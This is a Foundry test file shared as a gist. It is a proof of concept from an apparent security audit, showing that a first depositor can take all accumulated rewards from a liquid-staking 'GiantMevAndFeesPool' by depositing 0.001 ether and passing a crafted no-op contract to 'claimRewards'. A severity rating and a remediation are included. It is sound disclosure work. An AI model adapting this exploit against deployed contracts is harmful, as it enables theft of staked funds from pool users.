Created
November 14, 2022 17:49
-
-
Save clems4ever/c9fe06ce454ff6c4124f4bd29d3598de to your computer and use it in GitHub Desktop.
test/foundry/POC_GiantPools_FirstComerSwipeRewards.t.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.13; | |
// SPDX-License-Identifier: MIT | |
import "forge-std/console.sol"; | |
import { TestUtils } from "../utils/TestUtils.sol"; | |
import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol"; | |
import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol"; | |
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol"; | |
import { MockSlotRegistry } from "../../contracts/testing/stakehouse/MockSlotRegistry.sol"; | |
import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavETHVault.sol"; | |
import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol"; | |
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import { MockLiquidStakingManager } from "../../contracts/testing/liquid-staking/MockLiquidStakingManager.sol"; | |
// NoopContract is a contract that does nothing but that is necessary to pass some require statements. | |
contract NoopContract { | |
function claimRewards( | |
address _recipient, | |
bytes[] calldata _blsPubKeys | |
) external { | |
// does nothing, just to pass the for loop | |
} | |
} | |
contract GiantPoolWithdrawTests is TestUtils { | |
MockGiantSavETHVaultPool public giantSavETHPool; | |
GiantMevAndFeesPool public giantFeesAndMevPool; | |
MockLiquidStakingManager public liquidStakingManager; | |
NoopContract public noopContract; | |
function setUp() public { | |
noopContract = new NoopContract(); | |
vm.startPrank(accountFive); // this will mean it gets dETH initial supply | |
factory = createMockLSDNFactory(); | |
vm.stopPrank(); | |
// Deploy 1 network | |
manager = deployNewLiquidStakingNetwork( | |
factory, | |
admin, | |
true, | |
"LSDN" | |
); | |
liquidStakingManager = manager; | |
savETHVault = MockSavETHVault(address(manager.savETHVault())); | |
giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken()); | |
giantFeesAndMevPool = new GiantMevAndFeesPool(factory); | |
} | |
/* In this test case, the first comer depositing into the giant pool can collect all the rewards already collected | |
* whatever the amount even if it has not contributed to generate them. Is it expected? | |
* Severity: Critical | |
* | |
* Remediation: | |
* The calculation of the state, i.e., claimed AND accumulatedETHPerLPShare must happen after the token transfer instead of before. | |
* | |
*/ | |
function testFirstComerSwipeRewards() public { | |
// Set up users and ETH | |
address rewarder = accountThree; vm.deal(rewarder, 10 ether); | |
address hacker = accountTwo; vm.deal(hacker, 1 ether); | |
uint256 rewards = 5 ether; | |
// rewards the pool | |
vm.prank(rewarder); payable(giantFeesAndMevPool).transfer(rewards); | |
vm.startPrank(hacker); | |
giantFeesAndMevPool.depositETH{value: 0.001 ether}(0.001 ether); | |
// Hacker can claim the 5 ether even if he did not contribute to receive it... | |
assertRewardsClaimed(hacker, rewards); | |
} | |
// claimRewards claims the rewards with crafted inputs to passe some require statements. | |
function claimRewards(address _recipient) private { | |
address[] memory _stakingFundsVaults = new address[](1); | |
bytes[][] memory _blsPublicKeysForKnots = new bytes[][](1); | |
_stakingFundsVaults[0] = address(noopContract); | |
giantFeesAndMevPool.claimRewards(_recipient, _stakingFundsVaults, _blsPublicKeysForKnots); | |
} | |
// assertRewardsClaimed claim rewards and check if it changed the balance of the account. | |
function assertRewardsClaimed(address _recipient, uint256 expectedReward) public { | |
uint256 beforeBalance = address(_recipient).balance; | |
claimRewards(_recipient); | |
uint256 afterBalance = address(_recipient).balance; | |
// as you can see, nothing as been withdrawn... | |
assertEq(afterBalance - beforeBalance, expectedReward); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment